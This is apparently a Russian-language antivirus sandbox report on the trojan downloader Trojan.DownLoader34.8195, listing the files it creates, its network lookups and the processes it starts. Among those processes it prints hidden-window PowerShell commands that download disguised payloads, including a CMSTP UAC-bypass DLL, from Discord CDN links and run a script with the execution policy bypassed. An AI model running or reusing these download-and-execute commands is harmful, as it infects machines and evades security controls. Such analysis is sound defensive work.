Trojan.DownLoader34.8195

Техническая информация

Вредоносные функции

Загружает

https://cdn.discordapp.com/attachments/720314536749432983/733980027984806030/cmstp-uac-bypass.jpg as \users\user/downloads/cmstp-uac-bypass.dll
https://cdn.discordapp.com/attachments/720314536749432983/733980018186649630/e.jpg as \users\user/downloads/e.ps1
https://cdn.discordapp.com/attachments/720314536749432983/734094077938892820/zz.jpg as \users\user/downloads/zz.bat

Изменения в файловой системе

Создает следующие файлы

%TEMP%\uyqysortktla.exe
%HOMEPATH%\downloads\cmstp-uac-bypass.dll
%TEMP%\msi6517.tmp
%TEMP%\msi6816.tmp
%TEMP%\ai_extui_bin_1736\installer_1.jpg
%TEMP%\ai_extui_bin_1736\up
%TEMP%\ai_extui_bin_1736\installer_2.jpg
%TEMP%\ai_extui_bin_1736\completi
%TEMP%\ai_extui_bin_1736\custicon
%TEMP%\ai_extui_bin_1736\exclamic
%HOMEPATH%\downloads\zz.bat
%HOMEPATH%\downloads\e.ps1
%TEMP%\ai_extui_bin_1736\info
%TEMP%\ai_extui_bin_1736\repairic
%TEMP%\ai_extui_bin_1736\new
%TEMP%\ai_extui_bin_1736\tabback
%TEMP%\ai_extui_bin_1736\cmdlinkarrow
%TEMP%\ai_extui_bin_1736\netfirewall.dll
%TEMP%\ai_extui_bin_1736\aicustact.dll
%TEMP%\ai_extui_bin_1736\lzmaextractor.dll
%TEMP%\ai_extui_bin_1736\viewer.exe
%TEMP%\ai_extui_bin_1736\banner
%TEMP%\ai_extui_bin_1736\insticon
%TEMP%\ai_extui_bin_1736\removico
%APPDATA%\applicationupdate.lnk
%TEMP%\is-og17d.tmp\setup_wait.bmp
%TEMP%\is-og17d.tmp\setup_01_finished_bg.bmp
%TEMP%\dckhoiysnc.exe
%TEMP%\is-701pb.tmp\uczcsscwzrvxhz.tmp
%TEMP%\is-og17d.tmp\_isetup\_setup64.tmp
%TEMP%\is-og17d.tmp\ash_inet2.dll
%TEMP%\is-og17d.tmp\webbrowser.dll
%TEMP%\is-og17d.tmp\innocallback.dll
%APPDATA%\pc privacy shield 2020\pc privacy shield 2020 4.5.3\install\decoder.dll
%APPDATA%\pc privacy shield 2020\pc privacy shield 2020 4.5.3\install\0fafec7\pcprivacyshield2020.msi
%APPDATA%\pc privacy shield 2020\pc privacy shield 2020 4.5.3\install\installlog.txt
%TEMP%\is-og17d.tmp\setup_05.bmp
%TEMP%\uczcsscwzrvxhz.exe
%TEMP%\is-og17d.tmp\setup_enterkey.bmp
%TEMP%\is-og17d.tmp\setup_false.bmp
%TEMP%\is-og17d.tmp\setup_licensefalse.bmp
%TEMP%\is-og17d.tmp\setup_02a_bg.bmp
%TEMP%\is-og17d.tmp\setup_wo17_skin_light.bmp
%TEMP%\is-og17d.tmp\setup_wo17_skin_default.bmp
%TEMP%\is-og17d.tmp\setup_wo17_skin_light_checked.bmp
%TEMP%\is-og17d.tmp\setup_wo17_skin_default_checked.bmp
%TEMP%\is-og17d.tmp\setup_01b_bg.bmp
%TEMP%\is-og17d.tmp\setup_03_bg.bmp
%TEMP%\is-og17d.tmp\setup_04_bg.bmp
%TEMP%\is-og17d.tmp\setup_ok.bmp
%TEMP%\ai_extui_bin_1736\dialog
%APPDATA%\pc privacy shield 2020\pc privacy shield 2020 4.5.3\prerequisites\.net framework 4.7.2\ndp472-kb4054530-x86-x64-allos-enu.exe.part

Удаляет следующие файлы

%TEMP%\msi6517.tmp
%TEMP%\msi6816.tmp

Сетевая активность

TCP

Запросы HTTP GET

http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt

'et.##hampoo.com':443

'cd#.##scordapp.com':443

'download.microsoft.com':443

UDP

DNS ASK li#####get.ashampoo.com
DNS ASK et.##hampoo.com
DNS ASK cd#.##scordapp.com
DNS ASK microsoft.com
DNS ASK download.microsoft.com

Другое

Создает и запускает на исполнение

'%TEMP%\uyqysortktla.exe'
'%TEMP%\uczcsscwzrvxhz.exe'
'%TEMP%\is-701pb.tmp\uczcsscwzrvxhz.tmp' /SL5="$A022E,18584777,413696,%TEMP%\Uczcsscwzrvxhz.exe"
'%TEMP%\dckhoiysnc.exe'
'<SYSTEM32>\cmd.exe' /C powershell.exe -windowstyle hidden -c (new-object System.Net.WebClient).Downloadfile('https://cdn.discordapp.com/attachments/720314536749432983/733980027984806030/CMSTP-UAC-Bypass.jpg','%hom...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C powershell.exe -windowstyle hidden -c (new-object System.Net.WebClient).Downloadfile('https://cdn.discordapp.com/attachments/720314536749432983/733980018186649630/e.jpg','%homepath%/Download...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C powershell.exe -windowstyle hidden -c (new-object System.Net.WebClient).Downloadfile('https://cdn.discordapp.com/attachments/720314536749432983/734094077938892820/zz.jpg','%homepath%/Downloa...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C PowerShell -windowstyle hidden -NoProfile -ExecutionPolicy Bypass -Command %homepath%/Downloads/e.ps1' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /C powershell.exe -windowstyle hidden -c (new-object System.Net.WebClient).Downloadfile('https://cdn.discordapp.com/attachments/720314536749432983/733980027984806030/CMSTP-UAC-Bypass.jpg','%hom...
'<SYSTEM32>\cmd.exe' /C powershell.exe -windowstyle hidden -c (new-object System.Net.WebClient).Downloadfile('https://cdn.discordapp.com/attachments/720314536749432983/733980018186649630/e.jpg','%homepath%/Download...
'<SYSTEM32>\cmd.exe' /C powershell.exe -windowstyle hidden -c (new-object System.Net.WebClient).Downloadfile('https://cdn.discordapp.com/attachments/720314536749432983/734094077938892820/zz.jpg','%homepath%/Downloa...
'<SYSTEM32>\cmd.exe' /C PowerShell -windowstyle hidden -NoProfile -ExecutionPolicy Bypass -Command %homepath%/Downloads/e.ps1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -NoProfile -ExecutionPolicy Bypass -Command \Users\user/Downloads/e.ps1